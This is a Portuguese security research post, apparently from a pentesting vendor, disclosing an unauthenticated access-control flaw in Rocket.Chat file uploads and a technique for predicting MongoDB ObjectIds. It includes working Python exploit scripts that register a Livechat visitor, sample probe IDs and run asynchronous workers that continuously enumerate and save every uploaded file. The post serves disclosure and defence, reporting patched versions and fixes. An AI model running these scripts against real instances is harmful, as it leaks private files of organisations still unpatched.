As aplicações que utilizam o MongoDB têm uma armadilha comum que consiste em tratar o ObjectId() funcionar de forma criptograficamente segura. Recentemente, descobrimos que Rocket.Chat, uma aplicação de código aberto semelhante ao Slack, tenha sido vítima desta situação. Na Aikido, utilizamos Testes de penetração com IA em várias aplicações de código aberto para testar os nossos agentes e identificar os seus pontos fortes e as áreas a melhorar. Durante o teste de penetração, um dos agentes comunicou que um utilizador não autenticado do Rocket.Chat pode aceder a qualquer ficheiro carregado, desde que conheça o respetivo ID. O ID é gerado com o MongoDB’s ObjectId() e, à primeira vista, parecem aleatórios, mas quando se analisa com mais atenção, estão longe de o ser!
Neste artigo, iremos demonstrar como um atacante consegue obter continuamente todos os IDs válidos gerados. Descreveremos um ataque que analisa o ID atual para prever todos os outros IDs gerados pela aplicação. Isto é demonstrado através da captura de todos os ficheiros carregados numa instância do Rocket.Chat. O ataque pode ser aplicado a diferentes aplicações que utilizem o MongoDB com as mesmas funcionalidades básicas, para além do Rocket.Chat.
Detetámos e comunicámos o problema no Rocket.Chat no dia 21 de abril através do HackerOne (agora divulgado publicamente: #3687142). A partir de 12 de junho, a falha foi corrigida nas versões 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 e 7.10.13. Se você ou a sua organização estiver a hospedar uma instância do Rocket.Chat, atualize para qualquer uma destas versões ou para uma versão mais recente o mais rapidamente possível, caso ainda não o tenha feito. Uma vez que se trata de uma vulnerabilidade que não requer autenticação, qualquer pessoa com acesso à rede pode explorá-la.
A vulnerabilidade
Antes de nos debruçarmos sobre a técnica de exploração, deixem-me explicar melhor como funciona o Rocket.Chat.
A principal finalidade do Rocket.Chat é a comunicação com a sua organização e equipa. As conversas são divididas em canais configuráveis e os utilizadores podem partilhar ficheiros, para além de conversarem. Para compreender a superfície de ataque sem autenticação, na configuração predefinida, os utilizadores não podem registar-se por conta própria e é necessário iniciar sessão para abrir a aplicação.
Existe também um componente opcional chamado Chat ao vivo, que é, essencialmente, um chat de assistência técnica sem autenticação. Apesar de ser opcional, é ativado por predefinição, mas só é visível se aceder diretamente a /chat ao vivo:
O Livechat permite que os utilizadores enviem uma mensagem de texto simples para o serviço de apoio. Além disso, este widget suporta o envio de ficheiros, mas o campo de introdução de dados está desativado por predefinição (por isso não é visível na captura de ecrã acima). No entanto, o ponto final da API para o envio de ficheiros sem autenticação continua acessível. Esta é a principal funcionalidade que iremos utilizar na nossa futura exploração.
Os ficheiros carregados em qualquer uma destas funcionalidades (canais autenticados e Livechat não autenticado) são armazenados no mesmo local: /file-upload/{fileId}. Isto cria algumas complicações na lógica de autorização. Será que poderíamos explorar alguma falha no Livechat para ler os ficheiros realmente carregados no canal?
Um dos agentes reparou em algo estranho em FileUpload.ts. Existem dois existem várias formas de definir o ID da sala de um ficheiro. Em primeiro lugar, a autorização é feita através de requestCanAccessFiles que diz rc_rid (rid = ID da sala) da cadeia de consulta.
async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
const { query } = URL.parse(url, true);
let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
...
const isAuthorizedByRoom = async () =>
rc_room_type &&
roomCoordinator
.getRoomDirectives(rc_room_type)
.canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });O dado rc_rid é passado para canAccessUploadedFile juntamente com o rc_token parâmetro para verificar se tem acesso a essa sala e se deve conseguir ler o ficheiro:
async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},Em segundo lugar, há o apelo a FileUpload.requestCanAccessFiles, que obtém o ficheiro a partir do /file-upload/{fileId}/… caminho e procura-o diretamente na base de dados:
WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');
if (match?.[1]) {
const file = await Uploads.findOneById(match[1]);
if (file) {
if (!(await FileUpload.requestCanAccessFiles(req, file))) {Esta arquivo também tem um rid (ID da sala), que pode ser diferente do indicado rc_rid na URL. O que aconteceria se não coincidissem?
A resposta é uma grande vulnerabilidade. O Rocket.Chat não verifica se o ficheiro que está a solicitar se encontra na sala cujo acesso está a verificar. Isso significa que pode indicar qualquer sala fictícia válida e, em seguida, especificar um fileId no parâmetro «path» para obter o seu conteúdo.
Vamos ver como isto funciona na prática. Primeiro, carregamos qualquer ficheiro num canal, na qualidade de vítima. Na captura de ecrã abaixo, o utilizador administrador carregou file.txt:
Em seguida, copie o link do ficheiro, como:https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Se acedermos ingenuamente ao URL numa aba de navegação anónima, obtemos um erro 403, pelo que deve ser privado. Agora vamos ver se conseguimos obtê-lo através da funcionalidade de chat ao vivo.
Escolha o fileId parte 6a325394876fbe9c70b1b03f, e vamos solicitar o mesmo URL com qualquer utilizador anónimo de uma sala do Livechat. Podemos criar uma sessão registando-nos primeiro como «visitante» com qualquer valor de token e, em seguida, solicitando o nosso ID da sala. Com este ID da sala válido, se a nossa exploração funcionar, passamos a poder obter qualquer ficheiro, bastando para isso sabermos o seu fileId. Porque não há nenhuma verificação que compare a sala real do ficheiro com a nossa sala temporária.
Vamos criar, passo a passo, um script em Python para a nossa exploração final. Começaremos por pôr em prática esta ideia:
HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"
s = requests.Session()
token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor",
json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room",
params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}") # ceHsTjGSTfvAzWHk2
# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x",
params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text) # SUPER SECRET DATA
print(r.headers["Content-Disposition"]) # attachment; filename*=UTF-8''file.txtConseguimos divulgar o DADOS SUPER SECRETOS no interior file.txt! Também obtemos o nome do ficheiro original no Content-Disposition: cabeçalho, o que facilita perceber o que o ficheiro deve, de facto, conter.
Uma descoberta fantástica do agente, mas que dependia do conhecimento de algo difícil de adivinhar fileId: 6a325394876fbe9c70b1b03f. Parece um valor aleatório composto por 12 bytes. Mesmo com um milhão de pedidos por segundo, seriam necessárias algumas milhares de vidas do universo até se poder esperar o primeiro acerto. Não é totalmente realista.
Depois de analisarmos manualmente mais partes do código-fonte da aplicação, não encontrámos nenhuma forma de obter diretamente qualquer um destes IDs de ficheiro a partir de outras fontes. Como é que podemos obter um ID válido?
A primeira pista reside no facto de este ID ser gerado pelo MongoDB's ObjectId() função. «Em que é que isso nos ajuda?», poderá perguntar.
MongoDB ObjectId()
Conforme explicado na documentação, um ObjectId é composto por:
- Um carimbo temporal de 4 bytes, que representa a data de criação do ObjectId, medido em segundos desde a época Unix.
- Um valor aleatório de 5 bytes gerado uma vez por cada processo do lado do cliente. Este valor aleatório é exclusivo da máquina e do processo. Se o processo for reiniciado ou se o nó principal do processo mudar, este valor é regenerado.
- Um contador incremental de 3 bytes por processo do lado do cliente, inicializado com um valor aleatório. O contador é reiniciado quando um processo é reiniciado.
Portanto, um ID como 6a325394876fbe9c70b1b03f pode ser dividido em:
Diz ainda:
> No caso dos valores de carimbo temporal e de contador, os bytes mais significativos aparecem em primeiro lugar na sequência de bytes (big-endian)
Assim, o nosso carimbo temporal 6a325394 pode ser descodificado como 17 de junho de 2026, às 9h58min12s:
>>> de datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)
O valor do contador b1b03f é também um inteiro «big-endian». b1b03f + 1 seria b1b040, o próximo ID. Este contador é inicializado aleatoriamente e volta ao início quando atinge ffffff para 000000.
Isso também fica bastante claro se compararmos agora dois IDs de ficheiros consecutivos. Estão longe de ser aleatórios.
6a325394876fbe9c70b1b03f6a325a30876fbe9c70b1b048
Prever de forma totalmente aleatória
Com esta baixa entropia, poder-se-ia pensar que basta tentar todos os IDs até encontrarmos por acaso um ficheiro existente. Embora isso seja, em grande parte, verdade no que diz respeito ao carimbo temporal (apenas temos o número de segundos dos últimos meses), não conhecemos o valor aleatório estático de 5 bytes, e o contador também é inicializado aleatoriamente.
Só o valor aleatório estático tem mais de um trilião de possibilidades (256^5). A um ritmo de 1000 pedidos por segundo, ainda estaria à espera cerca de 18 anos. Nessa altura, ficaria impressionado se o computador do seu atacante ainda estivesse a funcionar.
Podemos partir do princípio de que isso é impossível.
Previsão a partir de um ponto de referência
A melhor forma de abordar isto é encontrar qualquer ObjectId() saída a partir da aplicação e, a partir daí, prever os futuros. Um «ponto de referência». No Rocket.Chat, felizmente para nós, existe uma forma muito fácil de o fazer com a funcionalidade Livechat que já estamos a utilizar. Basta carregarmos um ficheiro de forma anónima para obtermos o seu ID; essa é a nossa amostra.
r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}",
headers={"x-visitor-token": token},
files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}") # 6a325fbf876fbe9c70b1b053
Temos agora duas primitivas necessárias:
- Algo a que não devíamos ter acesso é acessível se soubermos que é
ObjectId() - Temos uma forma de gerar e leia o nosso próprio
ObjectId()
Com isto em mãos, podemos avançar muito mais. Para encontrar ficheiros carregados por outros utilizadores, temos de pensar no que muda: a data e hora e o contador. Teremos de diminuir a data e hora em segundos até chegarmos à hora que pretendemos. Mas, no caso do contador, não sabemos ao certo em quanto devemos diminuí-lo, porque outras funcionalidades podem gerar ObjectId()Ainda bem, assim evitamos certos valores para os IDs dos ficheiros que procuramos.
Basta adivinhar alguns intervalos para já conseguirmos resultados bastante satisfatórios:
# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")
# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
for c in range(counter - 20, counter):
t = timestamp - timedelta(seconds=delta) # Go backwards
# Create new potential ObjectId()
oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
if oid == probe_id:
continue # Skip our own file
# Try requesting it, if successful, print it
r = s.get(f"{HOST}/file-upload/{oid}/x",
params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
if r.ok:
tqdm.write(f"{oid}: {r.text!r}")
Se carregarmos um ficheiro no Rocket.Chat e, em seguida, executarmos este script pouco tempo depois, ele identifica o ID e os respetivos dados (iterando pelos últimos 5 minutos + os 20 IDs anteriores no contador). Segue-se um exemplo do resultado que pode esperar:
probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'
6%|██▎ | 19/300 [00:09<02:36, 1.79it/s]
Embora seja viável para uma prova de conceito, num ataque realista não se saberá exatamente quando a vítima carrega o seu ficheiro. Uma instância real pode também estar muito mais movimentada do que a nossa instância local, gerando muitos ObjectId()O mesmo se aplica a outras características que substituem os IDs dos ficheiros. Temos de ser mais rápidos e encontrar uma forma de garantir que abrangemos todos os IDs de ficheiros sem fazer suposições sobre o carimbo temporal ou o contador.
Identificar continuamente todos os ObjectId()s
Um grande gargalo neste momento é o facto de estarmos a solicitar cada ID de forma síncrona, um a um. Enquanto aguardamos uma resposta do servidor, ficamos sem fazer nada. Ao converter o código para que seja assíncrono com uma biblioteca como httpx, podemos criar vários trabalhadores que enviam, todos ao mesmo tempo, pedidos a partir de uma fila.
Vamos extrair o nome do ficheiro do Content-Disposition: cabeçalho ao mesmo tempo e guardar o ficheiro com o nome fugas/ localmente, com o nome de ficheiro original.
async def get_token(client):
token = "x"
r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
r.raise_for_status()
r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
r.raise_for_status()
rid = r.json()["room"]["_id"]
return token, rid
async def oid_worker(client, i, queue, rid, token):
while True:
oid = await queue.get()
print(f"Worker {i} requesting {oid}")
r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
if r.status_code == 200:
filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
try:
content = r.text
except UnicodeDecodeError:
content = r.content
print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
f.write(r.content)
async def main():
queue = asyncio.Queue()
num_workers = 10
async with httpx.AsyncClient() as client:
token, rid = await get_token(client)
print(f"{rid=}")
print("Starting producer loop...")
producer_task = asyncio.create_task(oid_producer(client, queue, rid, token)) # We will implement the producer in a second
print(f"Starting {num_workers} workers...")
worker_tasks = [
asyncio.create_task(oid_worker(client, i, queue, rid, token))
for i in range(num_workers)
]
await asyncio.gather(producer_task, *worker_tasks)
if __name__ == "__main__":
asyncio.run(main())
Para garantir que abrangemos todos os IDs existentes, podemos aproveitar a diferença entre várias sondagens. Se uma sondagem anterior registou o contador em 100 e a sondagem seguinte, pouco tempo depois (por exemplo, 10 segundos), o registou em 122, sabemos que foram gerados 22 IDs nesse intervalo. O intervalo de registo temporal também fica imediatamente claro: 10 segundos. Assim, podemos percorrer 10*22 IDs o mais rapidamente possível.
Quando terminarmos, podemos enviar outra sondagem mais 10 segundos depois; digamos que, nessa altura, o contador esteja em 130. Comparando esse valor com o da sondagem anterior, que era 122, temos de testar novamente 8 valores do contador ao longo de 10 segundos.
Podemos manter este ciclo, criando intervalos de ID ao realizar sondagens contínuas em intervalos curtos e a recuperá-los rapidamente através de trabalhadores assíncronos.
Em termos visuais, o algoritmo funciona mais ou menos assim. Em vez de recuperar um intervalo completo de 9*26=234 IDs, podemos obter amostras da aplicação para reduzir o tamanho dos retângulos que pesquisamos. A soma destes intervalos mais pequenos é de 6+16+45 = 67, um valor muito inferior ao do intervalo completo inicial.
Ao manter o programa em execução e com pedidos suficientemente rápidos, podemos garantir que abordamos todos os IDs de ficheiros possíveis.
Na nossa implementação em Python, isto não é difícil de implementar. Basta dividirmos cada ID de sonda para extrair o seu carimbo temporal e contador, e compará-los com os do anterior.
Se formos espertos, podemos guardar e evitar os valores do nosso próprio contador de sondas na pesquisa, porque estes nunca serão os ficheiros secretos que estamos à procura. Um caso extremo a ter em conta é que o contador volta ao início a partir de ffffff para 000000 se atingir esse limite, por isso temos de utilizar um módulo para garantir que se mantém dentro dos 3 bytes.
PRODUCER_INTERVAL = 10
def split_probe_id(probe_id):
timestamp = int(probe_id[0:8], 16)
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
return timestamp, random, counter
def mod_range(start, stop, modulus):
for i in range((stop - start) % modulus):
yield (start + i) % modulus
async def oid_producer(client, queue, rid, token):
prev_probe_id = await get_probe_id(client, rid, token)
probes = set([split_probe_id(prev_probe_id)[2]])
await asyncio.sleep(PRODUCER_INTERVAL)
while True:
probe_id = await get_probe_id(client, rid, token)
prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
timestamp, random, counter = split_probe_id(probe_id)
probes.add(counter)
i = 0
for t in range(prev_timestamp, timestamp):
for c in mod_range(prev_counter, counter, 0x1000000):
if c in probes:
continue # Skip our own files
oid = f"{t:08x}{random}{c:06x}"
await queue.put(oid)
i += 1
print(f"Produced {i} IDs")
prev_probe_id = probe_id
await asyncio.sleep(PRODUCER_INTERVAL)Agora, ao executar finalmente o script, podemos ver que, na nossa instância local, tudo decorre sem grandes alterações enquanto nada acontece. Ignoramos os nossos próprios IDs e a diferença em relação à verificação anterior é de apenas 1. Até abrirmos a aplicação e carregarmos um ficheiro; em 10 segundos, este é detetado pelo script de exploração e divulgado por um trabalhador que o captou:
A iniciar o ciclo de produção...
A iniciar 10 trabalhadores...
Produzidos 0 IDs
Produzidos 0 IDs
...
Produzidos 22 IDs
Trabalhador 0 a solicitar 6a32774c876fbe9c70b1b112
Trabalhador 1 a solicitar 6a32774c876fbe9c70b1b113
...
Trabalhador 3 a solicitar 6a327754876fbe9c70b1b113
[FUGA] 6a32774e876fbe9c70b1b112: «DADOS SUPER SECRETOS»
Trabalhador 5 a solicitar 6a327756876fbe9c70b1b113
Produzido 0 IDsSucesso! Enquanto o script está a ser executado, estamos agora a identificar e a divulgar todos os ficheiros carregados na instância do Rocket.Chat. Com as melhorias de velocidade, a instância pode ser utilizada regularmente sem interromper muito o nosso script e, além disso, trata-se de uma fila; por isso, se houver demasiado trabalho, acabará por recuperar o atraso quando houver menos atividade.Note que o intervalo de 10 segundos que estamos a utilizar atualmente é totalmente arbitrário; quanto menor for o valor definido, menores serão os intervalos possíveis, permitindo-lhe detetar com precisão quando um ficheiro é carregado. Pode decidir por si próprio o equilíbrio entre o número de pedidos de sondagem e o número de pedidos de ataque de força bruta.
Veja a demonstração de conceito neste vídeo:
Conclusões
O Rocket.Chat corrigiu o problema de controlo de acesso (#40889) ao passar o arquivo em canAccessUploadedFile(), e verificar se o ficheiro selecionado corresponde ao ID da sala especificado no parâmetro da consulta.
Como orientação geral, no caso de IDs aleatórios, recomendamos não depender de ObjectId(), é quase tão inseguro como um simples identificador incremental. Como medida de defesa em profundidade, utilize UUIDv4 para obter cadeias de caracteres aleatórias seguras, de modo a garantir que, mesmo com falhas no controlo de acesso, um atacante ainda precise de um segundo passo para descobrir os identificadores.
Embora o nosso agente tenha identificado com sucesso a vulnerabilidade IDOR, inicialmente não fez referência à previsibilidade do MongoDB ObjectId()s, porque uma única amostra parece aleatória à primeira vista. Com as alterações que introduzimos na sequência desta investigação, os agentes analisam agora a entropia desses IDs para explicar com maior precisão a probabilidade de exploração nos relatórios.
Para os investigadores de segurança e os pentesters que pretendem melhorar o realismo dos seus PoCs de IDOR, agora já sabem que podem prever facilmente os IDs do MongoDB. É algo a ter em conta sempre que se depararem com dois IDs que pareçam estranhamente semelhantes.
pentest de IA nossa pentest de IA descobriu isto por si própria. Se pretende testes de penetração de alta qualidade e rápidos na sua aplicação, conheça o conjunto de ferramentas de testes de penetraçãoAikido.
